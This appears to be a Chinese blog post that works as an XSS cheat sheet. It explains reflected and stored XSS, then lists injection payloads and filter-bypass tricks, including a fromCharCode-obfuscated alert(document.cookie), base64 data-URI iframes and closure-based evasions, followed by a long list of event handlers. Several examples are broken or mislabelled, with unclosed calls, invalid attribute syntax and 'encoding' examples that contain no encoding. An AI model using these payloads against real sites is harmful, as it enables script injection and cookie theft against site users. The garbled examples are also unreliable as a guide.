XSS攻击是一种利用Web应用程序漏洞来注入恶意代码的攻击。攻击者可以通过向Web应用程序中注入恶意代码来获取用户的敏感信息,例如用户名和密码,或者破坏网站功能。这种攻击通常是利用Web应用程序在处理用户输入时存在的漏洞。XSS攻击的危害非常大,可以影响到Web应用程序的完整性、可用性和机密性。
为了保护Web应用程序免受XSS攻击的侵害,师傅们需要了解一些实用性极强的XSS攻击技巧。在本文中,我们将详细介绍这些技巧,并提供相关的攻击代码和原理分析。
alert('我是个弹窗');
//alert(): 在浏览器中弹出警告框,提示用户一些信息。
confirm('我是个确认弹窗?');
//confirm(): 在浏览器中弹出确认框,让用户进行确认或取消操作。
prompt('我是个输入框';
//prompt(): 在浏览器中弹出输入框,让用户输入一些信息。
XSS攻击可以分为两种类型:反射型XSS和存储型XSS。反射型XSS攻击是指攻击者将恶意代码注入到URL参数中,然后将其发送到Web应用程序。Web应用程序将URL参数中的恶意代码反射到响应中,攻击者最终在受害者浏览器中执行这些代码。存储型XSS攻击是指攻击者将恶意代码存储在Web应用程序的数据库中,当用户访问这些数据时,恶意代码就会被执行。
常见的xss绕过
<img src="x" onerror=alert(1)>
onpointerrawupdate=(prompt)(123)%3E
//这个事件只针对谷歌
<img src=1 onmouseover=alert('xss')>
<a href="javascript:alert(1)">baidu</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<script>prompt('xss')</script>
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe>
<svg onload=alert(1)>
<input name="name" value="" onmouseover=prompt('xss') bad=“”>
<input type=“hidden” accesskey=“X” onclick=“alert(1)”>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,
111,107,105,101,41)) 适用于绕过黑名单 alert 在跨站中,String.fromCharCode 主要是使到
一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为 ASCII 码,
然后再用 String.fromCharCode 还原,因为大多数的过滤系统都不会把 String.fromCharCode
加以过滤,例如关键字 alert 被过滤掉,那就可以这么利用 alert(document.cookie)
<img src="1" onerror=alert(1)>
<img src="1" onerror=alert(1)>(实体化()
<img src=1 onerror=alert()>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src="1" onerror=location="javascript:alert(1)”>
<img src="1" onerror=location="javascript:alert%281%29”>
常见on事件
onload: 当页面或图片加载完成时触发。
onunload: 当页面或图片被卸载或关闭时触发。
onsubmit: 当表单被提交时触发。
onreset: 当表单被重置时触发。
onclick: 当鼠标单击元素时触发。
ondblclick: 当鼠标双击元素时触发。
onmousedown: 当鼠标按下时触发。
onmouseup: 当鼠标抬起时触发。
onmouseover: 当鼠标移动到元素上时触发。
onmouseout: 当鼠标移出元素时触发。
onmousemove: 当鼠标移动时触发。
onkeydown: 当键盘按下时触发。
onkeyup: 当键盘抬起时触发。
onkeypress: 当键盘按键被按下并放开时触发。
onfocus: 当元素获得焦点时触发。
onblur: 当元素失去焦点时触发。
onchange: 当元素的值发生改变时触发。
onresize: 当窗口或元素大小改变时触发。
onscroll: 当元素滚动时触发。
onafterprint: 当页面打印完成后触发
onbeforeprint: 当页面开始打印时触发
onbeforeunload: 当用户关闭页面或离开页面时触发
onerror: 当页面或资源加载错误时触发
onhashchange: 当页面 URL 的哈希部分发生变化时触发,HTML5 中新增的事件
onoffline: 当浏览器离线时触发,HTML5 中新增的事件
ononline: 当浏览器在线时触发,HTML5 中新增的事件
onpagehide: 当用户离开页面时触发
onpageshow: 当用户进入页面时触发
onpopstate: 当页面的历史记录发生变化时触发,HTML5 中新增的事件
onresize: 当窗口或元素大小改变时触发
onunload: 当页面或图片被卸载或关闭时触发
onabort: 当页面或图片被终止加载时触发
onanimationend: 当 CSS 动画结束时触发,HTML5 中新增的事件
onanimationiteration: 当 CSS 动画循环播放时触发,HTML5 中新增的事件
onanimationstart: 当 CSS 动画开始播放时触发,HTML5 中新增的事件
onaudioend: 当音频播放结束时触发
onaudioprocess: 当音频处理中发生变化时触发,HTML5 中新增的事件
onaudiostart: 当音频开始播放时触发
onbeforeinput: 在元素接收到用户输入之前触发,HTML5 中新增的事件
onbeforeunload: 当用户关闭页面或离开页面时触发
onblur: 当元素失去焦点时触发
oncancel: 当用户取消操作时触发,HTML5 中新增的事件
oncanplay: 当视频可以开始播放时触发
oncanplaythrough: 当视频可以正常播放,而无需停顿和缓冲时触发
onclose: 当 WebSocket 连接关闭时触发,HTML5 中新增的事件
oncontextmenu: 当用户右键单击元素时触发
oncuechange: 当音频或视频文本轨道发生变化时触发
ondblclick: 当鼠标双击元素时触发
ondrag: 当元素被拖拽时触发
ondragend: 当元素拖拽结束时触发
ondragexit: 当被拖拽的元素离开目标元素时触发
ondragleave: 当被拖拽的元素离开目标元素时触发,HTML5 中新增的事件
ondragover: 当被拖拽的元素在目标元素上方移动时触发
ondragstart: 当元素开始拖拽时触发
ondrop: 当被拖拽的元素被放置在目标元素上时触发
ondurationchange: 当视频或音频的时长发生变化时触发
onemptied: 当元素的媒体资源为空时触发
onended: 当视频或音频播放完成时触发
onerror: 当元素加载失败时触发
onfocus: 当元素获得焦点时触发
oninput: 当元素接收到用户输入时触发,HTML5 中新增的事件
oninvalid: 当元素无效时触发,HTML5 中新增的事件
onkeydown: 当用户按下键盘上的某个键时触发
onkeypress: 当用户按下键盘上的某个键时触发,如果持续按下会多次触发
onkeyup: 当用户释放键盘上的某个键时触发
onloadeddata: 当媒体数据已加载完成时触发
onloadedmetadata: 当媒体的元数据已加载完成时触发
onloadstart: 当元素开始加载时触发
onmousedown: 当鼠标按下时触发
onmouseenter: 当鼠标进入元素时触发,HTML5 中新增的事件
onmouseleave: 当鼠标离开元素时触发,HTML5 中新增的事件
onmousemove: 当鼠标在元素内移动时触发
onmouseout: 当鼠标移出元素时触发
onmouseover: 当鼠标移动到元素上方时触发
onmouseup: 当鼠标松开时触发
onmousewheel: 当鼠标滚轮滚动时触发
onpause: 当元素暂停时触发
onplay: 当元素开始播放时触发
onplaying: 当元素已经开始播放时触发
onprogress: 当元素正在下载时触发
onratechange: 当媒体播放速率发生变化时触发
onreset: 当表单重置时触发
onresize: 当窗口或元素大小发生变化时触发
onscroll: 当元素滚动时触发
onseeking: 当媒体正在定位时触发
onselect: 当文本被选中时触发
onstalled: 当元素尝试加载媒体资源,但资源不可用时触发
onsubmit: 当表单提交时触发
onsuspend: 当媒体资源暂停下载时触发
ontimeupdate: 当当前播放时间已更改时触发
onunload: 当页面卸载时触发
onvolumechange: 当音量发生变化时触发
onwaiting: 当媒体暂停以缓冲更多数据时触发
特殊的绕过
<img src=x on(mouseover)=if(event.target.tagName=='IMG')(prompt)(1)>
利用 JavaScript 语句块绕过过滤。例如:
<img src=x onmouseover="{if(1){prompt(1)}}">
利用 HTML 编码绕过过滤。例如:
<img src=x onmouseover="if(1){prompt(1)}">
利用特殊字符绕过过滤。例如
<img src=x onmouseover="prompt(1)">
利用内联事件绑定绕过过滤。例如:
<img src=x>
<script>
document.querySelector('img').onmouseover = function() { prompt(1) }
</script>
用 JavaScript 闭包绕过过滤。例如:
<img src=x onmouseover="(function(){prompt(1)})();">
本文仅供学习交流使用,不得用于任何违法犯罪用途。若有师傅利用本文提到的技术、方法、流程和工具产生的任何后果,均与本人无关。